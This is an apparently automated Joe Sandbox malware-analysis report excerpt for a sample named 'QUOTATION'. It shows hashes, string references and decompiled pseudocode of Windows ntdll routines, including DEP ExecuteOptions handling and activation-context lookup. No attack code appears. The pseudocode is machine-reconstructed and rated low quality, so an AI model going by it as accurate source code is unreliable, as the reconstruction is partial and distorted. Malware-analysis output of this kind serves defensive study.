Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ee73e42eccfb0ef70b187d1304368ffee18797716f00ef679e4395e9d02f389
Instruction ID: f64818eaf9bce16e39cc5d0f6f58aaec7a9dfab9cfa56cecf8acd25196ade7f2
Opcode Fuzzy Hash: 9ee73e42eccfb0ef70b187d1304368ffee18797716f00ef679e4395e9d02f389
Instruction Fuzzy Hash: 5A90023531100812EE106159990565600464BD0302F51D916A0514918DD66488A5B121

Uniqueness

Uniqueness Score: -1.00%

Function 33762B20 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 68e8eb811604a2ed7053988d3b8dcfeeceebb6e88b98bd2c9418972dc22d5659
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 337FA1F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 337FA25D
RtlDebugPrintTimes.NTDLL ref: 337FA2F1
RtlDebugPrintTimes.NTDLL ref: 337FA314
RtlDebugPrintTimes.NTDLL ref: 337FA340
RtlDebugPrintTimes.NTDLL ref: 337FA415
RtlDebugPrintTimes.NTDLL ref: 337FA468
RtlDebugPrintTimes.NTDLL ref: 337FA487
RtlDebugPrintTimes.NTDLL ref: 337FA4B8

Strings

HEAP: , xrefs: 337FA206

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP:
API String ID: 3446177414-2466845122
Opcode ID: 8374b6149ee36d0df703f30d9a356d4f8c2882786b764645d0fa86387a296499
Instruction ID: 82a441bc8d4b6e8209ff116ed434ed08035525611cf59c48eb7eb39aeafba045
Opcode Fuzzy Hash: 8374b6149ee36d0df703f30d9a356d4f8c2882786b764645d0fa86387a296499
Instruction Fuzzy Hash: 4FA1CC75A047128FD785CE18C894A2AB7E6FF88B50F18452DE946DB311EB32EC46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 33757550 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E33757550(void* __ecx) {
				signed int _v8;
				char _v548;
				unsigned int _v552;
				unsigned int _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t49;
				signed char _t53;
				unsigned int _t55;
				unsigned int _t56;
				unsigned int _t65;
				unsigned int _t66;
				void* _t68;
				unsigned int _t73;
				unsigned int _t77;
				unsigned int _t85;
				char* _t98;
				unsigned int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x3381b370 ^ _t107;
				_v8 =  *0x3381b370 ^ _t107;
				_t105 = __ecx;
				if( *0x33816664 == 0) {
					L5:
					return E33764B50(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E3372E580(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v556 = _t85;
					_t49 = E33757738(_t105);
					__eflags = _t49;
					if(_t49 != 0) {
						L15:
						_t103 = 2;
						_v556 = _t103;
						L10:
						__eflags = ( *0x7ffe02d5 & 0x0000000c) - 4;
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E3375763B(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
							__eflags = _t45;
						}
						__eflags = _t45;
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v556 = _t102;
						}
						__eflags = _t102;
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v556);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E33762B70();
						}
						goto L4;
					}
					_v552 = _t85;
					_t102 =  &_v552;
					_t55 = E337576ED(_t105 + 0x2c, _t102);
					__eflags = _t55;
					if(_t55 >= 0) {
						__eflags = _v552 - _t85;
						if(_v552 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E337AEF10(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v552);
						_v560 = 0x214;
						E33768F40( &_v548, 0, 0x214);
						_t106 =  *0x33816664;
						_t110 = _t108 + 0x20;
						 *0x338191e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						_t65 =  *((intOrPtr*)( *0x33816664))();
						__eflags = _t65;
						if(_t65 == 0) {
							goto L8;
						}
						_t66 = _v560;
						__eflags = _t66;
						if(_t66 == 0) {
							goto L8;
						}
						__eflags = _t66 - 0x214;
						if(_t66 >= 0x214) {
							goto L8;
						}
						_t68 = (_t66 >> 1) * 2 - 2;
						__eflags = _t68 - 0x214;
						if(_t68 >= 0x214) {
							E33764C68();
							goto L33;
						}
						_push(_t85);
						 *((short*)(_t107 + _t68 - 0x220)) = 0;
						E337AEF10(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
						_t111 = _t110 + 0x14;
						_t73 = E3376A9C0( &_v548, L"Execute=1");
						_push(_t85);
						__eflags = _t73;
						if(_t73 == 0) {
							E337AEF10(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
							_t106 =  &_v548;
							_t98 =  &_v548;
							_t112 = _t111 + 0x14;
							_t77 = _v560 + _t98;
							_v552 = _t77;
							__eflags = _t98 - _t77;
							if(_t98 >= _t77) {
								goto L8;
							} else {
								goto L27;
							}
							do {
								L27:
								_t85 = E3376A690(_t106, 0x20);
								__eflags = _t85;
								if(__eflags != 0) {
									__eflags = 0;
									 *_t85 = 0;
								}
								E337AEF10(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
								_t112 = _t112 + 0x10;
								E3379CC1E(_t105, _t106, __eflags);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L8;
								}
								_t41 = _t85 + 2; // 0x2
								_t106 = _t41;
								__eflags = _t106 - _v552;
							} while (_t106 < _v552);
							goto L8;
						}
						_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
						_push(3);
						_push(0x55);
						E337AEF10();
						goto L15;
					}
					L8:
					_t56 = E33757648(_t105);
					__eflags = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					_t103 = _v556;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x33757560
0x33757562
0x3375756f
0x33757571
0x337575ab
0x337575b9
0x337575b9
0x33757579
0x33757583
0x3375758f
0x33794443
0x33757595
0x3375759e
0x3375759e
0x337575a2
0x337575bc
0x337575c2
0x337575c7
0x337575c9
0x33757621
0x33757623
0x33757624
0x337575f8
0x337575ff
0x33757601
0x3375762c
0x33757603
0x33757609
0x33757610
0x33757612
0x33757612
0x33757612
0x33757614
0x33757616
0x33757630
0x33757633
0x33757633
0x33757618
0x3375761a
0x337945c9
0x337945c9
0x337945d1
0x337945d2
0x337945d4
0x337945d6
0x337945d6
0x00000000
0x3375761a
0x337575ce
0x337575d4
0x337575da
0x337575df
0x337575e1
0x3379444a
0x33794450
0x00000000
0x00000000
0x33794456
0x33794469
0x33794476
0x33794486
0x3379448b
0x33794497
0x337944b9
0x337944bf
0x337944c1
0x337944c3
0x00000000
0x00000000
0x337944c9
0x337944cf
0x337944d1
0x00000000
0x00000000
0x337944dc
0x337944de
0x00000000
0x00000000
0x337944e6
0x337944ed
0x337944ef
0x337945c4
0x00000000
0x337945c4
0x337944f7
0x337944f8
0x33794510
0x33794515
0x33794524
0x3379452b
0x3379452c
0x3379452e
0x33794556
0x33794561
0x33794567
0x33794569
0x3379456c
0x3379456e
0x33794574
0x33794576
0x00000000
0x00000000
0x00000000
0x00000000
0x3379457c
0x3379457c
0x33794584
0x33794588
0x3379458a
0x3379458c
0x3379458e
0x3379458e
0x3379459b
0x337945a0
0x337945a7
0x337945ac
0x337945ae
0x00000000
0x00000000
0x337945b4
0x337945b4
0x337945b7
0x337945b7
0x00000000
0x337945bf
0x33794530
0x33794535
0x33794537
0x33794539
0x00000000
0x3379453e
0x337575e7
0x337575e9
0x337575ee
0x337575f0
0x00000000
0x00000000
0x337575f2
0x00000000
0x337575a4
0x337575a4
0x337575a4
0x00000000
0x337575a4

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 33794460
CLIENT(ntdll): Processing section info %ws..., xrefs: 33794592
ExecuteOptions, xrefs: 337944AB
Execute=1, xrefs: 3379451E
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 33794507
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 3379454D
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 33794530

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 94138cea6f4c2c6db2bc42fd8508bb201a6ec15c2e0e9bf0f327d13113b0e660
Instruction ID: 04c8f0e8568b484761cae32d0f094b6e4e6b6a92c1720a4ab1088274801c3639
Opcode Fuzzy Hash: 94138cea6f4c2c6db2bc42fd8508bb201a6ec15c2e0e9bf0f327d13113b0e660
Instruction Fuzzy Hash: E7511575E01359AAFB14DEA4EC98FED73A9EF08344F4405E9F905AF181EB709A418F60

Uniqueness

Uniqueness Score: -1.00%

Function 3373A170 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E3373A170(signed char _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				signed char _v24;
				intOrPtr _v28;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				intOrPtr _v52;
				char _v56;
				signed int _v60;
				char _v64;
				intOrPtr _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v85;
				void* _v88;
				void* _v96;
				void* _v109;
				intOrPtr _t128;
				void* _t129;
				intOrPtr* _t130;
				intOrPtr _t135;
				void* _t136;
				intOrPtr _t145;
				intOrPtr _t151;
				intOrPtr* _t164;
				intOrPtr _t165;
				signed int _t166;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t176;
				signed int _t177;
				intOrPtr _t178;
				intOrPtr _t181;
				void* _t190;
				intOrPtr* _t191;
				intOrPtr _t201;
				signed int _t202;
				void* _t203;
				signed char _t213;
				intOrPtr _t214;
				intOrPtr _t217;
				signed int _t219;
				signed int _t224;
				intOrPtr _t228;
				intOrPtr _t229;
				signed int _t234;
				void* _t236;
				signed int _t240;
				void* _t242;

				_t178 =  *[fs:0x18];
				_t242 = (_t240 & 0xfffffff8) - 0x3c;
				_t128 =  *((intOrPtr*)(_t178 + 0x30));
				if( *((intOrPtr*)(_t128 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t128 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t178 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t129 = 0xc0150001;
						goto L33;
					}
				} else {
					L1:
					_v48 = 0;
					_v36 = 0xffffffff;
					_v40 = 0;
					if(_a16 == 0) {
						L83:
						_t129 = 0xc000000d;
						goto L33;
					} else {
						_t213 = _a4;
						if((_t213 & 0xfffffff8) != 0) {
							goto L83;
						} else {
							_t130 = _a20;
							if((_t213 & 0x00000007) == 0) {
								if(_t130 != 0) {
									goto L5;
								} else {
									goto L6;
								}
							} else {
								if(_t130 == 0) {
									goto L83;
								} else {
									L5:
									if( *_t130 < 0x24) {
										goto L83;
									} else {
										L6:
										if((_t213 & 0x00000002) == 0) {
											L9:
											if((_t213 & 0x00000004) != 0) {
												if(_t130 + 0x40 <=  *_t130 + _t130) {
													goto L10;
												} else {
													_push(0xc000000d);
													_push("RtlpFindActivationContextSection_CheckParameters");
													_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
													goto L82;
												}
											} else {
												L10:
												_t233 = _a8;
												_v24 = _t213;
												_t214 =  *[fs:0x18];
												_v16 = _a12;
												_v12 = 0;
												_t172 = _v12;
												_t181 =  *((intOrPtr*)(_t214 + 0x30));
												_v28 = 0x18;
												_v8 = 0;
												_v20 = _a8;
												_v60 = 0;
												_v52 = _t214;
												_v44 = _t181;
												while(1) {
													_t135 = _t172;
													if(_t135 != 0) {
														goto L34;
													}
													_t164 =  *((intOrPtr*)(_t214 + 0x1a8));
													if(_t164 == 0) {
														L14:
														_t228 =  *((intOrPtr*)(_t181 + 0x1f8));
														_v60 = 0;
														if(_t228 == 0) {
															L36:
															_t228 =  *((intOrPtr*)(_t181 + 0x200));
															_v60 = 0xfffffffc;
															if(_t228 == 0) {
																L87:
																if(_t172 <= 3) {
																	goto L16;
																} else {
																	_t129 = 0xc00000e5;
																	goto L90;
																}
															} else {
																_t172 = 3;
																_v12 = 3;
																goto L16;
															}
														} else {
															_t172 = 2;
															_v12 = 2;
															goto L16;
														}
													} else {
														_t165 =  *_t164;
														if(_t165 != 0) {
															_t166 =  *((intOrPtr*)(_t165 + 4));
															_v60 = _t166;
															if(_t166 != 0) {
																if(_t166 == 0xfffffffc) {
																	_t228 =  *((intOrPtr*)(_t181 + 0x200));
																	goto L56;
																} else {
																	if(_t166 == 0xfffffffd) {
																		_t228 = "Actx ";
																		goto L57;
																	} else {
																		_t228 =  *((intOrPtr*)(_t166 + 0x10));
																		goto L56;
																	}
																}
															} else {
																L56:
																if(_t228 == 0) {
																	goto L14;
																} else {
																	L57:
																	_t172 = 1;
																	_v12 = 1;
																	L16:
																	if(_t228 == 0) {
																		_t129 = 0xc0150001;
																		L90:
																		_t234 = 0;
																		goto L91;
																	} else {
																		_t129 = E3373A600(_t228, _t233, _a12,  &_v56,  &_v48);
																		if(_t129 < 0) {
																			_t234 = 0;
																			if(_t129 != 0xc0150001 || _t172 == 3) {
																				goto L19;
																			} else {
																				_t181 = _v44;
																				_t214 = _v52;
																				_t233 = _a8;
																				continue;
																			}
																		} else {
																			_t224 = _v60;
																			_v8 = (0 | _t224 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t224 == 0x00000000;
																			asm("sbb esi, esi");
																			_t234 =  ~(_t224 - 0xfffffffc) & _t224;
																			_t129 = 0;
																			L19:
																			if(_t129 < 0) {
																				L91:
																				if(_t129 < 0) {
																					goto L33;
																				} else {
																					goto L20;
																				}
																			} else {
																				L20:
																				_t173 = _v48;
																				if(_t173 < 0x2c) {
																					L110:
																					_t138 = _v56;
																					goto L111;
																				} else {
																					_t229 = _a20;
																					while(1) {
																						L22:
																						_t138 = _v56;
																						if( *_v56 != 0x64487353) {
																							break;
																						}
																						_t242 = _t242 - 8;
																						_t129 = E3373A760(_t138, _t173, _a16, _t229,  &_v36,  &_v40);
																						if(_t129 >= 0) {
																							_t83 = _t234 - 1; // -1
																							if((_t83 | 0x00000007) != 0xffffffff) {
																								_t145 =  *((intOrPtr*)(_t234 + 0x14));
																								_v40 = _t145;
																								if(_t145 != 0 && (( *(_t234 + 0x1c) & 0x00000008) == 0 || ( *(_t234 + 0x3c) & 0x00000008) == 0)) {
																									 *((char*)(_t242 + 0xf)) = 0;
																									 *0x338191e0(3, _t234,  *((intOrPtr*)(_t234 + 0x10)),  *((intOrPtr*)(_t234 + 0x18)), 0, _t242 + 0xf);
																									_v40();
																									 *(_t234 + 0x1c) =  *(_t234 + 0x1c) | 0x00000008;
																									if( *((char*)(_t242 + 0xf)) != 0) {
																										 *(_t234 + 0x3c) =  *(_t234 + 0x3c) | 0x00000008;
																									}
																								}
																							}
																							if(_t229 == 0) {
																								L67:
																								return 0;
																							} else {
																								_t129 = E33724428(_a4, _t229, _t234,  &_v36, _v64,  *((intOrPtr*)(_v64 + 0x24)),  *((intOrPtr*)(_v64 + 0x28)), _t173);
																								if(_t129 < 0) {
																									goto L33;
																								} else {
																									goto L67;
																								}
																							}
																						} else {
																							if(_t129 != 0xc0150008) {
																								L33:
																								return _t129;
																							} else {
																								_t217 =  *[fs:0x18];
																								_t234 = 0;
																								_v68 = 0;
																								_v40 = _t217;
																								_v60 = 0;
																								_v52 =  *((intOrPtr*)(_t217 + 0x30));
																								_t176 = _v20;
																								L26:
																								while(1) {
																									if(_t176 <= 2) {
																										_t190 = _t176 - _t234;
																										if(_t190 == 0) {
																											_t191 =  *((intOrPtr*)(_t217 + 0x1a8));
																											if(_t191 == 0) {
																												goto L68;
																											} else {
																												_t201 =  *_t191;
																												if(_t201 == 0) {
																													goto L68;
																												} else {
																													_t202 =  *((intOrPtr*)(_t201 + 4));
																													_v60 = _t202;
																													if(_t202 == 0) {
																														L102:
																														if(_t151 == 0) {
																															goto L68;
																														} else {
																															goto L103;
																														}
																													} else {
																														if(_t202 != 0xfffffffc) {
																															if(_t202 != 0xfffffffd) {
																																_t151 =  *((intOrPtr*)(_t202 + 0x10));
																																goto L101;
																															} else {
																																_t151 = "Actx ";
																																_v68 = _t151;
																																L103:
																																_t176 = 1;
																																_v20 = 1;
																																goto L28;
																															}
																														} else {
																															_t151 =  *((intOrPtr*)(_v52 + 0x200));
																															L101:
																															_v68 = _t151;
																															goto L102;
																														}
																													}
																												}
																											}
																										} else {
																											_t203 = _t190 - 1;
																											if(_t203 == 0) {
																												L68:
																												_v60 = 0;
																												_t151 =  *((intOrPtr*)(_v52 + 0x1f8));
																												_v68 = _t151;
																												if(_t151 == 0) {
																													goto L44;
																												} else {
																													_t176 = 2;
																													_v20 = 2;
																													goto L28;
																												}
																											} else {
																												if(_t203 != 1) {
																													goto L27;
																												} else {
																													L44:
																													_v60 = 0xfffffffc;
																													_t151 =  *((intOrPtr*)(_v52 + 0x200));
																													_v68 = _t151;
																													if(_t151 == 0) {
																														goto L27;
																													} else {
																														_t176 = 3;
																														_v20 = 3;
																														goto L28;
																													}
																												}
																											}
																										}
																									} else {
																										L27:
																										if(_t176 > 3) {
																											_t129 = 0xc00000e5;
																											goto L30;
																										} else {
																											L28:
																											if(_t151 != 0) {
																												_t129 = E3373A600(_t151, _a8, _a12,  &_v64,  &_v56);
																												if(_t129 < 0) {
																													_t219 = 0;
																													if(_t129 != 0xc0150001 || _t176 == 3) {
																														goto L48;
																													} else {
																														_t151 = _v68;
																														_t217 = _v40;
																														continue;
																													}
																												} else {
																													_t177 = _v60;
																													_v16 = (0 | _t177 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t177 == 0x00000000;
																													asm("sbb edx, edx");
																													_t219 =  ~(_t177 - 0xfffffffc) & _t177;
																													_t129 = 0;
																													L48:
																													if(_t129 < 0) {
																														goto L31;
																													} else {
																														if(_t219 != 0) {
																															_t125 = _t219 - 1; // -1
																															if((_t125 | 0x00000007) != 0xffffffff &&  *_t219 != 0x7fffffff) {
																																while(1) {
																																	_t236 =  *_t219;
																																	if(_t236 == 0x7fffffff) {
																																		goto L50;
																																	}
																																	asm("lock cmpxchg [edx], ecx");
																																	if(_t236 != _t236) {
																																		continue;
																																	} else {
																																		goto L50;
																																	}
																																	goto L112;
																																}
																															}
																														}
																														L50:
																														_t234 = _t219;
																														goto L51;
																													}
																												}
																											} else {
																												_t129 = 0xc0150001;
																												L30:
																												if(_t129 >= 0) {
																													L51:
																													_t173 = _v56;
																													if(_t173 >= 0x2c) {
																														goto L22;
																													} else {
																														goto L110;
																													}
																												} else {
																													L31:
																													if(_t129 == 0xc0150001) {
																														_t129 = 0xc0150008;
																													}
																													goto L33;
																												}
																											}
																										}
																									}
																									goto L112;
																								}
																							}
																						}
																						goto L112;
																					}
																					L111:
																					_push(_t173);
																					E337AEF10(0x33, 0, "RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section\n", _t138);
																					_t129 = 0xc0150003;
																					goto L33;
																				}
																			}
																		}
																	}
																}
															}
														} else {
															goto L14;
														}
													}
													goto L112;
													L34:
													_t136 = _t135 - 1;
													if(_t136 == 0) {
														goto L14;
													} else {
														if(_t136 != 1) {
															goto L87;
														} else {
															goto L36;
														}
													}
													goto L112;
												}
											}
										} else {
											if(_t130 + 0x2c >  *_t130 + _t130) {
												_push(0xc000000d);
												_push("RtlpFindActivationContextSection_CheckParameters");
												_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
												L82:
												_push(0);
												_push(0x33);
												E337AEF10();
												goto L83;
											} else {
												_t130 = _a20;
												goto L9;
											}
										}
									}
								}
							}
						}
					}
				}
				L112:
			}

0x3373a178
0x3373a17f
0x3373a182
0x3373a18f
0x3373a4b4
0x00000000
0x337877ce
0x337877ce
0x00000000
0x337877ce
0x3373a195
0x3373a195
0x3373a199
0x3373a1a1
0x3373a1a9
0x3373a1b1
0x337877f3
0x337877f3
0x00000000
0x3373a1b7
0x3373a1b7
0x3373a1c0
0x00000000
0x3373a1c6
0x3373a1c6
0x3373a1cc
0x3373a5dc
0x00000000
0x3373a5e2
0x00000000
0x3373a5e2
0x3373a1d2
0x3373a1d4
0x00000000
0x3373a1da
0x3373a1da
0x3373a1dd
0x00000000
0x3373a1e3
0x3373a1e3
0x3373a1e6
0x3373a1fa
0x3373a1fd
0x3373a5f0
0x00000000
0x3373a5f6
0x337877fd
0x33787802
0x33787807
0x00000000
0x33787807
0x3373a203
0x3373a203
0x3373a208
0x3373a20b
0x3373a20f
0x3373a216
0x3373a21c
0x3373a224
0x3373a228
0x3373a22b
0x3373a233
0x3373a23b
0x3373a23f
0x3373a243
0x3373a247
0x3373a250
0x3373a252
0x3373a255
0x00000000
0x00000000
0x3373a25b
0x3373a263
0x3373a26f
0x3373a26f
0x3373a277
0x3373a27d
0x3373a3ae
0x3373a3ae
0x3373a3b4
0x3373a3be
0x33787823
0x33787826
0x00000000
0x3378782c
0x3378782c
0x00000000
0x3378782c
0x3373a3c4
0x3373a3c4
0x3373a3c9
0x00000000
0x3373a3c9
0x3373a283
0x3373a283
0x3373a288
0x00000000
0x3373a288
0x3373a265
0x3373a265
0x3373a269
0x3373a4bf
0x3373a4c2
0x3373a4c8
0x3373a4e3
0x3378780e
0x00000000
0x3373a4e9
0x3373a4ec
0x33787819
0x00000000
0x3373a4f2
0x3373a4f2
0x00000000
0x3373a4f2
0x3373a4ec
0x3373a4ca
0x3373a4ca
0x3373a4cc
0x00000000
0x3373a4d2
0x3373a4d2
0x3373a4d2
0x3373a4d7
0x3373a28c
0x3373a28e
0x33787833
0x33787838
0x33787838
0x00000000
0x3373a294
0x3373a2a5
0x3373a2ac
0x3373a3d2
0x3373a3d9
0x00000000
0x3373a3e8
0x3373a3e8
0x3373a3ec
0x3373a3f0
0x00000000
0x3373a3f0
0x3373a2b2
0x3373a2b2
0x3373a2d2
0x3373a2d6
0x3373a2d8
0x3373a2da
0x3373a2dc
0x3373a2de
0x3378783a
0x3378783c
0x00000000
0x33787842
0x00000000
0x33787842
0x3373a2e4
0x3373a2e4
0x3373a2e4
0x3373a2eb
0x337878ed
0x337878ed
0x00000000
0x3373a2f1
0x3373a2f1
0x3373a300
0x3373a300
0x3373a300
0x3373a30a
0x00000000
0x00000000
0x3373a310
0x3373a325
0x3373a32c
0x3373a4f7
0x3373a500
0x3373a502
0x3373a505
0x3373a50b
0x3373a5a5
0x3373a5b8
0x3373a5be
0x3373a5c2
0x3373a5cb
0x3373a5d1
0x3373a5d1
0x3373a5cb
0x3373a50b
0x3373a523
0x3373a549
0x3373a551
0x3373a525
0x3373a53c
0x3373a543
0x00000000
0x00000000
0x00000000
0x00000000
0x3373a543
0x3373a332
0x3373a337
0x3373a393
0x3373a399
0x3373a339
0x3373a339
0x3373a342
0x3373a344
0x3373a34a
0x3373a34e
0x3373a355
0x3373a359
0x00000000
0x3373a360
0x3373a363
0x3373a3fa
0x3373a3fc
0x33787847
0x3378784f
0x00000000
0x33787855
0x33787855
0x33787859
0x00000000
0x3378785f
0x3378785f
0x33787862
0x33787868
0x33787892
0x33787894
0x00000000
0x00000000
0x00000000
0x00000000
0x3378786a
0x3378786d
0x3378787e
0x3378788b
0x00000000
0x33787880
0x33787880
0x33787885
0x3378789a
0x3378789a
0x3378789f
0x00000000
0x3378789f
0x3378786f
0x33787873
0x3378788e
0x3378788e
0x00000000
0x3378788e
0x3378786d
0x33787868
0x33787859
0x3373a402
0x3373a402
0x3373a405
0x3373a554
0x3373a556
0x3373a55e
0x3373a564
0x3373a56a
0x00000000
0x3373a570
0x3373a570
0x3373a575
0x00000000
0x3373a575
0x3373a40b
0x3373a40e
0x00000000
0x3373a414
0x3373a414
0x3373a418
0x3373a420
0x3373a426
0x3373a42c
0x00000000
0x3373a432
0x3373a432
0x3373a437
0x00000000
0x3373a437
0x3373a42c
0x3373a40e
0x3373a405
0x3373a369
0x3373a369
0x3373a36c
0x337878e3
0x00000000
0x3373a372
0x3373a372
0x3373a374
0x3373a452
0x3373a459
0x3373a57e
0x3373a585
0x00000000
0x3373a594
0x3373a594
0x3373a598
0x00000000
0x3373a598
0x3373a45f
0x3373a45f
0x3373a47f
0x3373a483
0x3373a485
0x3373a487
0x3373a489
0x3373a48b
0x00000000
0x3373a491
0x3373a493
0x337878a8
0x337878b1
0x337878c3
0x337878c3
0x337878cb
0x00000000
0x00000000
0x337878d6
0x337878dc
0x00000000
0x337878de
0x00000000
0x337878de
0x00000000
0x337878dc
0x337878c3
0x337878b1
0x3373a499
0x3373a499
0x00000000
0x3373a499
0x3373a48b
0x3373a37a
0x3373a37a
0x3373a37f
0x3373a381
0x3373a49b
0x3373a49b
0x3373a4a2
0x00000000
0x3373a4a8
0x00000000
0x3373a4a8
0x3373a387
0x3373a387
0x3373a38c
0x3373a38e
0x3373a38e
0x00000000
0x3373a38c
0x3373a381
0x3373a374
0x3373a36c
0x00000000
0x3373a363
0x3373a360
0x3373a337
0x00000000
0x3373a32c
0x337878f1
0x337878f1
0x337878fc
0x33787904
0x00000000
0x33787904
0x3373a2eb
0x3373a2de
0x3373a2ac
0x3373a28e
0x3373a4cc
0x00000000
0x00000000
0x00000000
0x3373a269
0x00000000
0x3373a39c
0x3373a39c
0x3373a39f
0x00000000
0x3373a3a5
0x3373a3a8
0x00000000
0x00000000
0x00000000
0x00000000
0x3373a3a8
0x00000000
0x3373a39f
0x3373a250
0x3373a1e8
0x3373a1f1
0x337877d8
0x337877dd
0x337877e2
0x337877e7
0x337877e7
0x337877e9
0x337877eb
0x00000000
0x3373a1f7
0x3373a1f7
0x00000000
0x3373a1f7
0x3373a1f1
0x3373a1e6
0x3373a1dd
0x3373a1d4
0x3373a1cc
0x3373a1c0
0x3373a1b1
0x00000000

Strings

Actx , xrefs: 33787819, 33787880
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 33787807
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 337877E2
RtlpFindActivationContextSection_CheckParameters, xrefs: 337877DD, 33787802
SsHd, xrefs: 3373A304
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 337878F3

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
